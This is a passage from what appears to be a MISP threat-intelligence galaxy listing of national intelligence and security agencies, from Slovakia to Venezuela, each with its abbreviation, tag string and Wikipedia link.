https://en.wikipedia.org/wiki/Vojnoobave%C5%A1tajna_agencija

Security and Intelligence Division

Security and Intelligence Division (SID)

The tag is: *misp-galaxy:intelligence-agency="Security and Intelligence Division"*

Table 1990. Table References

Links
https://en.wikipedia.org/wiki/Security_and_Intelligence_Division

Internal Security Department (Singapore)

Internal Security Department (ISD)

The tag is: *misp-galaxy:intelligence-agency="Internal Security Department (Singapore)"*

Table 1991. Table References

Links
https://en.wikipedia.org/wiki/Internal_Security_Department_(Singapore)

Slovak Information Service

Slovak Information Service - Slovenská informačná služba (SIS)

The tag is: *misp-galaxy:intelligence-agency="Slovak Information Service"*

Table 1992. Table References

Links
https://en.wikipedia.org/wiki/Slovak_Information_Service

Vojenské spravodajstvo

Military Intelligence - Vojenské spravodajstvo

The tag is: *misp-galaxy:intelligence-agency="Vojenské spravodajstvo"*

Table 1993. Table References

Links
https://en.wikipedia.org/wiki/Vojensk%C3%A9_spravodajstvo

National Security Bureau (Slovakia)

National Security Bureau - Národný bezpečnostný úrad (NBÚ)

The tag is: *misp-galaxy:intelligence-agency="National Security Bureau (Slovakia)"*

Table 1994. Table References

Links
https://en.wikipedia.org/wiki/National_Security_Bureau_(Slovakia)

Slovenska Obveščevalno-Varnostna Agencija

Slovenian Intelligence and Security Agency - Slovenska Obveščevalno-Varnostna Agencija (SOVA)

The tag is: *misp-galaxy:intelligence-agency="Slovenska Obveščevalno-Varnostna Agencija"*

Table 1995. Table References

Links
https://en.wikipedia.org/wiki/Slovenska_Obve%C5%A1%C4%8Devalno-Varnostna_Agencija

Intelligence and Security Service of Slovenian Ministry of Defence - Obveščevalno Varnostna Služba (OVS)[26]

Intelligence and Security Service of Slovenian Ministry of Defence - Obveščevalno Varnostna Služba (OVS)[26]

The tag is: *misp-galaxy:intelligence-agency="Intelligence and Security Service of Slovenian Ministry of Defence - Obveščevalno Varnostna Služba (OVS)[26]"*

Table 1996. Table References

Links
https://en.wikipedia.org#cite_note-26

General Staff SAF – Section for intelligence matters – J2 - General štab SV – Sektor za obveščevalne zadeve – J2 (GŠSV-J2)[27]

General Staff SAF – Section for intelligence matters – J2 - General štab SV – Sektor za obveščevalne zadeve – J2 (GŠSV-J2)[27]

The tag is: *misp-galaxy:intelligence-agency="General Staff SAF – Section for intelligence matters – J2 - General štab SV – Sektor za obveščevalne zadeve – J2 (GŠSV-J2)[27]"*

Table 1997. Table References

Links
https://en.wikipedia.org#cite_note-27

National Intelligence and Security Agency

National Intelligence and Security Agency (NISA)

The tag is: *misp-galaxy:intelligence-agency="National Intelligence and Security Agency"*

Table 1998. Table References

Links
https://en.wikipedia.org/wiki/National_Intelligence_and_Security_Agency

State Security Agency (South Africa)

State Security Agency (SSA)

The tag is: *misp-galaxy:intelligence-agency="State Security Agency (South Africa)"*

Table 1999. Table References

Links
https://en.wikipedia.org/wiki/State_Security_Agency_(South_Africa)

South African National Defence Force Intelligence Division

South African National Defence Force, Intelligence Division (SANDF-ID)

The tag is: *misp-galaxy:intelligence-agency="South African National Defence Force Intelligence Division"*

Table 2000. Table References

Links
https://en.wikipedia.org/wiki/South_African_National_Defence_Force_Intelligence_Division

Crime Intelligence (SAPS)

Crime Intelligence Division, South African Police Service

The tag is: *misp-galaxy:intelligence-agency="Crime Intelligence (SAPS)"*

Table 2001. Table References

Links
https://en.wikipedia.org/wiki/Crime_Intelligence_(SAPS)

National Intelligence Service (South Korea)

National Intelligence Service (NIS)

The tag is: *misp-galaxy:intelligence-agency="National Intelligence Service (South Korea)"*

Table 2002. Table References

Links
https://en.wikipedia.org/wiki/National_Intelligence_Service_(South_Korea)

Defense Intelligence Agency (South Korea)

Defense Intelligence Agency (DIA)

The tag is: *misp-galaxy:intelligence-agency="Defense Intelligence Agency (South Korea)"*

Table 2003. Table References

Links
https://en.wikipedia.org/wiki/Defense_Intelligence_Agency_(South_Korea)

Defence Intelligence Command (page does not exist)

Defence Intelligence Command [ko] (DIC)

The tag is: *misp-galaxy:intelligence-agency="Defence Intelligence Command (page does not exist)"*

Table 2004. Table References

Links
https://en.wikipedia.org/w/index.php?title=Defence_Intelligence_Command&action=edit&redlink=1

Defense Security Support Command (page does not exist)

Defense Security Support Command [ko] (DSSC)

The tag is: *misp-galaxy:intelligence-agency="Defense Security Support Command (page does not exist)"*

Table 2005. Table References

Links
https://en.wikipedia.org/w/index.php?title=Defense_Security_Support_Command&action=edit&redlink=1

Department of Homeland Security (Spain)

Department of Homeland Security (DSN)

The tag is: *misp-galaxy:intelligence-agency="Department of Homeland Security (Spain)"*

Table 2006. Table References

Links
https://en.wikipedia.org/wiki/Department_of_Homeland_Security_(Spain)

National Cryptologic Center

National Cryptologic Center - (Centro Criptológico Nacional) (CCN)

The tag is: *misp-galaxy:intelligence-agency="National Cryptologic Center"*

Table 2007. Table References

Links
https://en.wikipedia.org/wiki/National_Cryptologic_Center

Spanish Armed Forces Intelligence Center

Armed Forces Intelligence Center (CIFAS)

The tag is: *misp-galaxy:intelligence-agency="Spanish Armed Forces Intelligence Center"*

Table 2008. Table References

Links
https://en.wikipedia.org/wiki/Spanish_Armed_Forces_Intelligence_Center

Joint Cyberspace Command

Joint Cyberspace Command (MCCE)

The tag is: *misp-galaxy:intelligence-agency="Joint Cyberspace Command"*

Table 2009. Table References

Links
https://en.wikipedia.org/wiki/Joint_Cyberspace_Command

Centro de Inteligencia contra el Terrorismo y el Crimen Organizado

Intelligence Center for Counter-Terrorism and Organized Crime - (Centro de Inteligencia contra el Terrorismo y el Crimen Organizado) (CITCO)

The tag is: *misp-galaxy:intelligence-agency="Centro de Inteligencia contra el Terrorismo y el Crimen Organizado"*

Table 2010. Table References

Links
https://en.wikipedia.org/wiki/Centro_de_Inteligencia_contra_el_Terrorismo_y_el_Crimen_Organizado

Brigada de Investigación Tecnológica

Technological Research Brigade (BIT)

The tag is: *misp-galaxy:intelligence-agency="Brigada de Investigación Tecnológica"*

Table 2011. Table References

Links
https://en.wikipedia.org/wiki/Brigada_de_Investigaci%C3%B3n_Tecnol%C3%B3gica

General Commissariat of Information

General Commissariat of Information - (Comisaría General de la Información) (CGI)

The tag is: *misp-galaxy:intelligence-agency="General Commissariat of Information"*

Table 2012. Table References

Links
https://en.wikipedia.org/wiki/General_Commissariat_of_Information

General Commissariat of Judiciary Police

General Commissariat of Judiciary Police - (Comisaría General de Policía Judicial) (CGPJ)

The tag is: *misp-galaxy:intelligence-agency="General Commissariat of Judiciary Police"*

Table 2013. Table References

Links
https://en.wikipedia.org/wiki/General_Commissariat_of_Judiciary_Police

State Intelligence Service (Sri Lanka)

State Intelligence Service (Sri Lanka)

The tag is: *misp-galaxy:intelligence-agency="State Intelligence Service (Sri Lanka)"*

Table 2014. Table References

Links
https://en.wikipedia.org/wiki/State_Intelligence_Service_(Sri_Lanka)

Special Branch (Sri Lanka)

Special Branch

The tag is: *misp-galaxy:intelligence-agency="Special Branch (Sri Lanka)"*

Terrorist Investigation Division

Terrorist Investigation Division

The tag is: *misp-galaxy:intelligence-agency="Terrorist Investigation Division"*

Criminal Investigation Department (Sri Lanka)

Criminal Investigation Department (Sri Lanka)

The tag is: *misp-galaxy:intelligence-agency="Criminal Investigation Department (Sri Lanka)"*

Table 2015. Table References

Links
https://en.wikipedia.org/wiki/Criminal_Investigation_Department_(Sri_Lanka)

Financial Crimes Investigation Division

Financial Crimes Investigation Division

The tag is: *misp-galaxy:intelligence-agency="Financial Crimes Investigation Division"*

Table 2016. Table References

Links
https://en.wikipedia.org/wiki/Financial_Crimes_Investigation_Division

Directorate of Military Intelligence (Sri Lanka)

Directorate of Military Intelligence (Sri Lanka)

The tag is: *misp-galaxy:intelligence-agency="Directorate of Military Intelligence (Sri Lanka)"*

Table 2017. Table References

Links
https://en.wikipedia.org/wiki/Directorate_of_Military_Intelligence_(Sri_Lanka)

Military Intelligence Corps (Sri Lanka)

Military Intelligence Corps (Sri Lanka)

The tag is: *misp-galaxy:intelligence-agency="Military Intelligence Corps (Sri Lanka)"*

Table 2018. Table References

Links
https://en.wikipedia.org/wiki/Military_Intelligence_Corps_(Sri_Lanka)

Department of Naval Intelligence

Department of Naval Intelligence

The tag is: *misp-galaxy:intelligence-agency="Department of Naval Intelligence"*

Directorate of Air Intelligence

Directorate of Air Intelligence

The tag is: *misp-galaxy:intelligence-agency="Directorate of Air Intelligence"*

Financial Intelligence Unit (Sri Lanka),

Financial Intelligence Unit (Sri Lanka),

The tag is: *misp-galaxy:intelligence-agency="Financial Intelligence Unit (Sri Lanka),"*

General Intelligence Service (Sudan)

General Intelligence Service

The tag is: *misp-galaxy:intelligence-agency="General Intelligence Service (Sudan)"*

Table 2019. Table References

Links
https://en.wikipedia.org/wiki/General_Intelligence_Service_(Sudan)

Kontoret för särskild inhämtning

Office for Special Acquisition – Kontoret för särskild inhämtning (KSI)

The tag is: *misp-galaxy:intelligence-agency="Kontoret för särskild inhämtning"*

Table 2020. Table References

Links
https://en.wikipedia.org/wiki/Kontoret_f%C3%B6r_s%C3%A4rskild_inh%C3%A4mtning

National Defence Radio Establishment

National Defence Radio Establishment – Försvarets Radioanstalt (FRA)

The tag is: *misp-galaxy:intelligence-agency="National Defence Radio Establishment"*

Table 2021. Table References

Links
https://en.wikipedia.org/wiki/National_Defence_Radio_Establishment

Swedish Security Service

Swedish Security Service – Säkerhetspolisen (Säpo)

The tag is: *misp-galaxy:intelligence-agency="Swedish Security Service"*

Table 2022. Table References

Links
https://en.wikipedia.org/wiki/Swedish_Security_Service

Swiss intelligence agencies

Federal Intelligence Service - Nachrichtendienst des Bundes (NDB)

The tag is: *misp-galaxy:intelligence-agency="Swiss intelligence agencies"*

Table 2023. Table References

Links
https://en.wikipedia.org/wiki/Swiss_intelligence_agencies

Militärischer Nachrichtendienst

Military Intelligence Service - Militärischer Nachrichtendienst (MND)

The tag is: *misp-galaxy:intelligence-agency="Militärischer Nachrichtendienst"*

Table 2024. Table References

Links
https://en.wikipedia.org/wiki/Milit%C3%A4rischer_Nachrichtendienst

Air Force Intelligence Directorate

Air Force Intelligence Directorate

The tag is: *misp-galaxy:intelligence-agency="Air Force Intelligence Directorate"*

Table 2025. Table References

Links
https://en.wikipedia.org/wiki/Air_Force_Intelligence_Directorate

General Intelligence Directorate (Syria)

General Intelligence Directorate

The tag is: *misp-galaxy:intelligence-agency="General Intelligence Directorate (Syria)"*

Table 2026. Table References

Links

https://en.wikipedia.org/wiki/General_Intelligence_Directorate_(Syria)

Political Security Directorate

Political Security Directorate

The tag is: *misp-galaxy:intelligence-agency="Political Security Directorate"*

Table 2027. Table References

Links
https://en.wikipedia.org/wiki/Political_Security_Directorate

Military Intelligence Directorate (Syria)

Military Intelligence Directorate

The tag is: *misp-galaxy:intelligence-agency="Military Intelligence Directorate (Syria)"*

Table 2028. Table References

Links
https://en.wikipedia.org/wiki/Military_Intelligence_Directorate_(Syria)

National Security Bureau (Republic of China)

National Security Bureau (NSB)

The tag is: *misp-galaxy:intelligence-agency="National Security Bureau (Republic of China)"*

Table 2029. Table References

Links
https://en.wikipedia.org/wiki/National_Security_Bureau_(Republic_of_China)

Bureau of Investigation (Taiwan)

Investigation Bureau (MJIB)

The tag is: *misp-galaxy:intelligence-agency="Bureau of Investigation (Taiwan)"*

Table 2030. Table References

Links
https://en.wikipedia.org/wiki/Bureau_of_Investigation_(Taiwan)

National Police Agency of the ROC (Taiwan)

National Police Agency (NPA)

The tag is: *misp-galaxy:intelligence-agency="National Police Agency of the ROC (Taiwan)"*

Table 2031. Table References

Links
https://en.wikipedia.org/wiki/National_Police_Agency_of_the_ROC_(Taiwan)

Republic of China Military Police

Military Police Command (ROCMP)

The tag is: *misp-galaxy:intelligence-agency="Republic of China Military Police"*

Table 2032. Table References

Links
https://en.wikipedia.org/wiki/Republic_of_China_Military_Police

Bureau of Military Intelligence

Military Intelligence Bureau (MIB)

The tag is: *misp-galaxy:intelligence-agency="Bureau of Military Intelligence"*

Table 2033. Table References

Links
https://en.wikipedia.org/wiki/Bureau_of_Military_Intelligence

State Committee for National Security (Tajikistan)

State Committee for National Security (SCNS) – Кумитаи давлатии амнияти милли (КДАМ)/Государственный комитет национальной безопасности (ГКНБ)

The tag is: *misp-galaxy:intelligence-agency="State Committee for National Security (Tajikistan)"*

Table 2034. Table References

Links
https://en.wikipedia.org/wiki/State_Committee_for_National_Security_(Tajikistan)

Tanzania Intelligence and Security Service

Tanzania Intelligence and Security Service (TISS)

The tag is: *misp-galaxy:intelligence-agency="Tanzania Intelligence and Security Service"*

Table 2035. Table References

Links
https://en.wikipedia.org/wiki/Tanzania_Intelligence_and_Security_Service

News Division

News Division

The tag is: *misp-galaxy:intelligence-agency="News Division"*

Internal Security Affairs Bureau (ISAB)

Internal Security Affairs Bureau (ISAB)

The tag is: *misp-galaxy:intelligence-agency="Internal Security Affairs Bureau (ISAB)"*

Bureau of Intelligence (BI)

Bureau of Intelligence (BI)

The tag is: *misp-galaxy:intelligence-agency="Bureau of Intelligence (BI)"*

Intelligence Bureau (IB)

Intelligence Bureau (IB)

The tag is: *misp-galaxy:intelligence-agency="Intelligence Bureau (IB)"*

Armed Forces Security Center (AFSC)

Armed Forces Security Center (AFSC)

The tag is: *misp-galaxy:intelligence-agency="Armed Forces Security Center (AFSC)"*

Army Military Intelligence Command (AMIC)

Army Military Intelligence Command (AMIC)

The tag is: *misp-galaxy:intelligence-agency="Army Military Intelligence Command (AMIC)"*

Department of Border Affair (DBA)

Department of Border Affair (DBA)

The tag is: *misp-galaxy:intelligence-agency="Department of Border Affair (DBA)"*

Directorate of Joint Intelligence (DJI)

Directorate of Joint Intelligence (DJI)

The tag is: *misp-galaxy:intelligence-agency="Directorate of Joint Intelligence (DJI)"*

Directorate of Intelligence Royal Thai Army (DINTRTA)

Directorate of Intelligence Royal Thai Army (DINTRTA)

The tag is: *misp-galaxy:intelligence-agency="Directorate of Intelligence Royal Thai Army (DINTRTA)"*

Directorate of Intelligence, RTAF (INTELLRTAF)

Directorate of Intelligence, RTAF (INTELLRTAF)

The tag is: *misp-galaxy:intelligence-agency="Directorate of Intelligence, RTAF (INTELLRTAF)"*

Naval Intelligence Department (NID)

Naval Intelligence Department (NID)

The tag is: *misp-galaxy:intelligence-agency="Naval Intelligence Department (NID)"*

Financial Intelligence Division (FID)

Financial Intelligence Division (FID)

The tag is: *misp-galaxy:intelligence-agency="Financial Intelligence Division (FID)"*

Internal Security Operations Command

Internal Security Operations Command (ISOC)

The tag is: *misp-galaxy:intelligence-agency="Internal Security Operations Command"*

Table 2036. Table References

Links
https://en.wikipedia.org/wiki/Internal_Security_Operations_Command

National Intelligence Agency (Thailand)

National Intelligence Agency (NIA)

The tag is: *misp-galaxy:intelligence-agency="National Intelligence Agency (Thailand)"*

Table 2037. Table References

Links
https://en.wikipedia.org/wiki/National_Intelligence_Agency_(Thailand)

National Intelligence Cooperating Center (NICC)

National Intelligence Cooperating Center (NICC)

The tag is: *misp-galaxy:intelligence-agency="National Intelligence Cooperating Center (NICC)"*

Drug Intelligence Division (DID)

Drug Intelligence Division (DID)

The tag is: *misp-galaxy:intelligence-agency="Drug Intelligence Division (DID)"*

Special Branch Bureau

Special Branch Bureau (SBB)

The tag is: *misp-galaxy:intelligence-agency="Special Branch Bureau"*

Table 2038. Table References

Links
https://en.wikipedia.org/wiki/Special_Branch_Bureau

Strategic Services Agency (SSA)[28]

Strategic Services Agency (SSA)[28]

The tag is: *misp-galaxy:intelligence-agency="Strategic Services Agency (SSA)[28]"*

Table 2039. Table References

Links
https://en.wikipedia.org#cite_note-28

Organised Crime and Intelligence Unit[30]

Organised Crime and Intelligence Unit[30]

The tag is: *misp-galaxy:intelligence-agency="Organised Crime and Intelligence Unit[30]"*

Table 2040. Table References

Links
https://en.wikipedia.org#cite_note-30

Financial Intelligence Unit Trinidad and Tobago (FIUTT)[31]

Financial Intelligence Unit Trinidad and Tobago (FIUTT)[31]

The tag is: *misp-galaxy:intelligence-agency="Financial Intelligence Unit Trinidad and Tobago (FIUTT)[31]"*

Table 2041. Table References

Links
https://en.wikipedia.org#cite_note-31

National Intelligence Organization (Turkey)

National Intelligence Organization (MİT)

The tag is: *misp-galaxy:intelligence-agency="National Intelligence Organization (Turkey)"*

Table 2042. Table References

Links
https://en.wikipedia.org/wiki/National_Intelligence_Organization_(Turkey)

Department of Smuggling, Intelligence, Operations and Information Collection (page does not exist)

Department of Smuggling, Intelligence, Operations and Information Collection (intelligence coordination)

The tag is: *misp-galaxy:intelligence-agency="Department of Smuggling, Intelligence, Operations and Information Collection (page does not exist)"*

Table 2043. Table References

Links
https://en.wikipedia.org/w/index.php?title=Department_of_Smuggling

Emniyet Genel Müdürlüğü İstihbarat Başkanlığı (page does not exist)

Emniyet Genel Müdürlüğü İstihbarat Başkanlığı (Intelligence Directorate)

The tag is: *misp-galaxy:intelligence-agency="Emniyet Genel Müdürlüğü İstihbarat Başkanlığı (page does not exist)"*

Table 2044. Table References

Links
https://en.wikipedia.org/w/index.php?title=Emniyet_Genel_M%C3%BCd%C3%BCrl%C3%BC%C4%9F%C3%BC_%C4%B0stihbarat_Ba%C5%9Fkanl%C4%B1%C4%9F%C4%B1&action=edit&redlink=1

Terörle Mücadele Dairesi Başkanlığı(TEM) (page does not exist)

Terörle Mücadele Dairesi Başkanlığı(TEM) (Anti-Terrorism Department)

The tag is: *misp-galaxy:intelligence-agency="Terörle Mücadele Dairesi Başkanlığı(TEM) (page does not exist)"*

Table 2045. Table References

Links
https://en.wikipedia.org/w/index.php?title=Ter%C3%B6rle_M%C3%BCcadele_Dairesi_Ba%C5%9Fkanl%C4%B1%C4%9F%C4%B1(TEM)&action=edit&redlink=1

Gendarmerie Intelligence Directorate (page does not exist)

Gendarmerie Intelligence Directorate (law enforcement)

The tag is: *misp-galaxy:intelligence-agency="Gendarmerie Intelligence Directorate (page does not exist)"*

Table 2046. Table References

Links
https://en.wikipedia.org/w/index.php?title=Gendarmerie_Intelligence_Directorate&action=edit&redlink=1

Coast Guard Intelligence Directorate (page does not exist)

Coast Guard Intelligence Directorate (law enforcement)

The tag is: *misp-galaxy:intelligence-agency="Coast Guard Intelligence Directorate (page does not exist)"*

Table 2047. Table References

Links
https://en.wikipedia.org/w/index.php?title=Coast_Guard_Intelligence_Directorate&action=edit&redlink=1

General Staff Intelligence Directorate (page does not exist)

General Staff Intelligence Directorate (military intelligence)

The tag is: *misp-galaxy:intelligence-agency="General Staff Intelligence Directorate (page does not exist)"*

Table 2048. Table References

Links
https://en.wikipedia.org/w/index.php?title=General_Staff_Intelligence_Directorate&action=edit&redlink=1

Army Intelligence Department (page does not exist)

Army Intelligence Department (military intelligence)

The tag is: *misp-galaxy:intelligence-agency="Army Intelligence Department (page does not exist)"*

Table 2049. Table References

Links
https://en.wikipedia.org/w/index.php?title=Army_Intelligence_Department&action=edit&redlink=1

Navy Intelligence Department (page does not exist)

navy Intelligence Department (military intelligence)

The tag is: *misp-galaxy:intelligence-agency="Navy Intelligence Department (page does not exist)"*

Table 2050. Table References

Links
https://en.wikipedia.org/w/index.php?title=Navy_Intelligence_Department&action=edit&redlink=1

Air Force Intelligence Department (page does not exist)

Air Force Intelligence Department (military intelligence)

The tag is: *misp-galaxy:intelligence-agency="Air Force Intelligence Department (page does not exist)"*

Table 2051. Table References

Links
https://en.wikipedia.org/w/index.php?title=Air_Force_Intelligence_Department&action=edit&redlink=1

Ministry for National Security (Turkmenistan)

Ministry for National Security (MNS)

The tag is: *misp-galaxy:intelligence-agency="Ministry for National Security (Turkmenistan)"*

Table 2052. Table References

Links
https://en.wikipedia.org/wiki/Ministry_for_National_Security_(Turkmenistan)

Chief directorate of intelligence of the Ministry of Defence of Ukraine

Central Intelligence Directorate – Holovne Upravlinnya Rozvidky (HUR)

The tag is: *misp-galaxy:intelligence-agency="Chief directorate of intelligence of the Ministry of Defence of Ukraine"*

Table 2053. Table References

Links
https://en.wikipedia.org/wiki/Chief_directorate_of_intelligence_of_the_Ministry_of_Defence_of_Ukraine

Foreign Intelligence Service of Ukraine

Foreign Intelligence Service of Ukraine – Sluzhba Zovnishnioyi Rozvidky Ukrayiny (SZR or SZRU)

The tag is: *misp-galaxy:intelligence-agency="Foreign Intelligence Service of Ukraine"*

Table 2054. Table References

Links

https://en.wikipedia.org/wiki/Foreign_Intelligence_Service_of_Ukraine

State Bureau of Investigation (Ukraine)

State Bureau of Investigation – Derzhavne Biuro Rozsliduvan (DBR)

The tag is: *misp-galaxy:intelligence-agency="State Bureau of Investigation (Ukraine)"*

Table 2055. Table References

Links
https://en.wikipedia.org/wiki/State_Bureau_of_Investigation_(Ukraine)

Security Service of Ukraine

Security Service of Ukraine – Sluzhba Bezpeky Ukrayiny (SBU)

The tag is: *misp-galaxy:intelligence-agency="Security Service of Ukraine"*

Table 2056. Table References

Links
https://en.wikipedia.org/wiki/Security_Service_of_Ukraine

Signals Intelligence Agency

Signals Intelligence Agency (SIA)

The tag is: *misp-galaxy:intelligence-agency="Signals Intelligence Agency"*

Table 2057. Table References

Links
https://en.wikipedia.org/wiki/Signals_Intelligence_Agency

Joint Intelligence Organisation (United Kingdom)

Joint Intelligence Organisation (JIO)[32] – Joint intelligence analysis.

The tag is: *misp-galaxy:intelligence-agency="Joint Intelligence Organisation (United Kingdom)"*

Table 2058. Table References

Links
https://en.wikipedia.org/wiki/Joint_Intelligence_Organisation_(United_Kingdom)

MI5

Security Service/MI5[33] – Domestic counter terrorism and counter espionage intelligence gathering and analysis.

The tag is: *misp-galaxy:intelligence-agency="MI5"*

Table 2059. Table References

Links
https://en.wikipedia.org/wiki/MI5

Office for Security and Counter-Terrorism

Office for Security and Counter-Terrorism (OSCT) – Counter terrorism and protecting critical national infrastructure.

The tag is: *misp-galaxy:intelligence-agency="Office for Security and Counter-Terrorism"*

Table 2060. Table References

Links
https://en.wikipedia.org/wiki/Office_for_Security_and_Counter-Terrorism

National Domestic Extremism and Disorder Intelligence Unit

National Domestic Extremism and Disorder Intelligence Unit (NDEDIU)[34] – Domestic counter extremism and public disorder intelligence gathering and analysis.

The tag is: *misp-galaxy:intelligence-agency="National Domestic Extremism and Disorder Intelligence Unit"*

Table 2061. Table References

Links
https://en.wikipedia.org/wiki/National_Domestic_Extremism_and_Disorder_Intelligence_Unit

National Ballistics Intelligence Service

National Ballistics Intelligence Service (NBIS)[35] – Illegal firearms intelligence analysis.

The tag is: *misp-galaxy:intelligence-agency="National Ballistics Intelligence Service"*

Table 2062. Table References

Links
https://en.wikipedia.org/wiki/National_Ballistics_Intelligence_Service

National Fraud Intelligence Bureau

National Fraud Intelligence Bureau (NFIB)[36] – Economic crime intelligence gathering and analysis.

The tag is: *misp-galaxy:intelligence-agency="National Fraud Intelligence Bureau"*

Table 2063. Table References

Links
https://en.wikipedia.org/wiki/National_Fraud_Intelligence_Bureau

Secret Intelligence Service

Secret Intelligence Service (SIS)/MI6[37] – Foreign intelligence gathering and analysis.

The tag is: *misp-galaxy:intelligence-agency="Secret Intelligence Service"*

Table 2064. Table References

Links
https://en.wikipedia.org/wiki/Secret_Intelligence_Service

Defence Intelligence

Defence Intelligence (DI)[38] – Military intelligence analysis.

The tag is: *misp-galaxy:intelligence-agency="Defence Intelligence"*

Table 2065. Table References

Links
https://en.wikipedia.org/wiki/Defence_Intelligence

Government Communications Headquarters

Government Communications Headquarters (GCHQ)[39] – Signals intelligence gathering and analysis.

The tag is: *misp-galaxy:intelligence-agency="Government Communications Headquarters"*

Table 2066. Table References

Links
https://en.wikipedia.org/wiki/Government_Communications_Headquarters

National Crime Agency

National Crime Agency (NCA)[40] – Organised crime intelligence gathering and analysis. Agency utilizes Unexplained wealth orders and the Investigatory Powers Act 2016.[41][42] NCA officers are posted overseas in around 50 countries.[43] They operate the UK Protected Persons Service, which includes witness protection.[44]

The tag is: *misp-galaxy:intelligence-agency="National Crime Agency"*

Table 2067. Table References

Links
https://en.wikipedia.org/wiki/National_Crime_Agency

Gangmasters and Labour Abuse Authority

Gangmasters and Labour Abuse Authority - Human trafficking, slavery, economic, and serious organised crime.

The tag is: *misp-galaxy:intelligence-agency="Gangmasters and Labour Abuse Authority"*

Table 2068. Table References

Links
https://en.wikipedia.org/wiki/Gangmasters_and_Labour_Abuse_Authority

Director of National Intelligence

Office of the Director of National Intelligence (ODNI)

The tag is: *misp-galaxy:intelligence-agency="Director of National Intelligence"*

Table 2069. Table References

Links
https://en.wikipedia.org/wiki/Director_of_National_Intelligence

Central Intelligence Agency

Central Intelligence Agency (CIA)

The tag is: *misp-galaxy:intelligence-agency="Central Intelligence Agency"*

Table 2070. Table References

Links
https://en.wikipedia.org/wiki/Central_Intelligence_Agency

Defense Intelligence Agency

Defense Intelligence Agency (DIA)

The tag is: *misp-galaxy:intelligence-agency="Defense Intelligence Agency"*

Table 2071. Table References

Links
https://en.wikipedia.org/wiki/Defense_Intelligence_Agency

National Security Agency

National Security Agency (NSA)

The tag is: *misp-galaxy:intelligence-agency="National Security Agency"*

Table 2072. Table References

Links
https://en.wikipedia.org/wiki/National_Security_Agency

National Geospatial-Intelligence Agency

National Geospatial-Intelligence Agency (NGA)

The tag is: *misp-galaxy:intelligence-agency="National Geospatial-Intelligence Agency"*

Table 2073. Table References

Links
https://en.wikipedia.org/wiki/National_Geospatial-Intelligence_Agency

National Reconnaissance Office

National Reconnaissance Office (NRO)

The tag is: *misp-galaxy:intelligence-agency="National Reconnaissance Office"*

Table 2074. Table References

Links
https://en.wikipedia.org/wiki/National_Reconnaissance_Office

Military Intelligence Corps (United States Army)

Military Intelligence Corps (MIC)

The tag is: *misp-galaxy:intelligence-agency="Military Intelligence Corps (United States Army)"*

Table 2075. Table References

Links
https://en.wikipedia.org/wiki/Military_Intelligence_Corps_(United_States_Army)

Marine Corps Intelligence

Marine Corps Intelligence (MCI)

The tag is: *misp-galaxy:intelligence-agency="Marine Corps Intelligence"*

Table 2076. Table References

Links
https://en.wikipedia.org/wiki/Marine_Corps_Intelligence

Office of Naval Intelligence

Office of Naval Intelligence (ONI)

The tag is: *misp-galaxy:intelligence-agency="Office of Naval Intelligence"*

Table 2077. Table References

Links
https://en.wikipedia.org/wiki/Office_of_Naval_Intelligence

Sixteenth Air Force

Sixteenth Air Force (16 AF)

The tag is: *misp-galaxy:intelligence-agency="Sixteenth Air Force"*

Table 2078. Table References

Links
https://en.wikipedia.org/wiki/Sixteenth_Air_Force

Space Delta 18

Space Delta 18 (DEL 18)

The tag is: *misp-galaxy:intelligence-agency="Space Delta 18"*

Table 2079. Table References

Links

https://en.wikipedia.org/wiki/Space_Delta_18

Office of Intelligence and Counterintelligence

Office of Intelligence and Counterintelligence (OICI)

The tag is: *misp-galaxy:intelligence-agency="Office of Intelligence and Counterintelligence"*

Table 2080. Table References

Links
https://en.wikipedia.org/wiki/Office_of_Intelligence_and_Counterintelligence

Coast Guard Intelligence

Coast Guard Intelligence (CGI)

The tag is: *misp-galaxy:intelligence-agency="Coast Guard Intelligence"*

Table 2081. Table References

Links
https://en.wikipedia.org/wiki/Coast_Guard_Intelligence

DHS Office of Intelligence and Analysis

DHS Office of Intelligence and Analysis (I&A)

The tag is: *misp-galaxy:intelligence-agency="DHS Office of Intelligence and Analysis"*

Table 2082. Table References

Links
https://en.wikipedia.org/wiki/DHS_Office_of_Intelligence_and_Analysis

DEA Office of National Security Intelligence

DEA Office of National Security Intelligence (ONSI)

The tag is: *misp-galaxy:intelligence-agency="DEA Office of National Security Intelligence"*

Table 2083. Table References

Links
https://en.wikipedia.org/wiki/DEA_Office_of_National_Security_Intelligence

FBI Intelligence Branch

FBI Intelligence Branch (IB)

The tag is: *misp-galaxy:intelligence-agency="FBI Intelligence Branch"*

Table 2084. Table References

Links
https://en.wikipedia.org/wiki/FBI_Intelligence_Branch

Bureau of Intelligence and Research

Bureau of Intelligence and Research (IR)

The tag is: *misp-galaxy:intelligence-agency="Bureau of Intelligence and Research"*

Table 2085. Table References

Links
https://en.wikipedia.org/wiki/Bureau_of_Intelligence_and_Research

Office of Terrorism and Financial Intelligence

Office of Terrorism and Financial Intelligence (TFI)

The tag is: *misp-galaxy:intelligence-agency="Office of Terrorism and Financial Intelligence"*

Table 2086. Table References

Links
https://en.wikipedia.org/wiki/Office_of_Terrorism_and_Financial_Intelligence

es:Secretaría de Inteligencia Estratégica de Estado

State Secretariat of Strategic Intelligence - Secretaría de Inteligencia Estratégica de Estado (SIEE)

The tag is: *misp-galaxy:intelligence-agency="es:Secretaría de Inteligencia Estratégica de Estado"*

es:Secretaría de Inteligencia Estratégica de Estado is also known as:

- Secretaría de Inteligencia Estratégica de Estado

Table 2087. Table References

Links
https://en.wikipedia.orghttps://es.wikipedia.org/wiki/Secretar%C3%ADa_de_Inteligencia_Estrat%C3%A9gica_de_Estado

National Directorate of Information and Intelligence - Dirección Nacional de Información e Inteligencia (DNII)

National Directorate of Information and Intelligence - Dirección Nacional de Información e Inteligencia (DNII)

The tag is: *misp-galaxy:intelligence-agency="National Directorate of Information and Intelligence - Dirección Nacional de Información e Inteligencia (DNII)"*

State Security Service (Uzbekistan)

State Security Service - Davlat Xavfsizlik Xizmati (DXX)/ Служба государственной безопасности (СГБ)

The tag is: *misp-galaxy:intelligence-agency="State Security Service (Uzbekistan)"*

Table 2088. Table References

Links
https://en.wikipedia.org/wiki/State_Security_Service_(Uzbekistan)

Bolivarian National Intelligence Service

Bolivarian National Intelligence Service - Servicio Bolivariano de Inteligencia (SEBIN)

The tag is: *misp-galaxy:intelligence-agency="Bolivarian National Intelligence Service"*

Table 2089. Table References

Links
https://en.wikipedia.org/wiki/Bolivarian_National_Intelligence_Service

Dirección General de Contrainteligencia Militar

Directorate General of Military Intelligence – Dirección General de Contrainteligencia Militar (DGCIM)

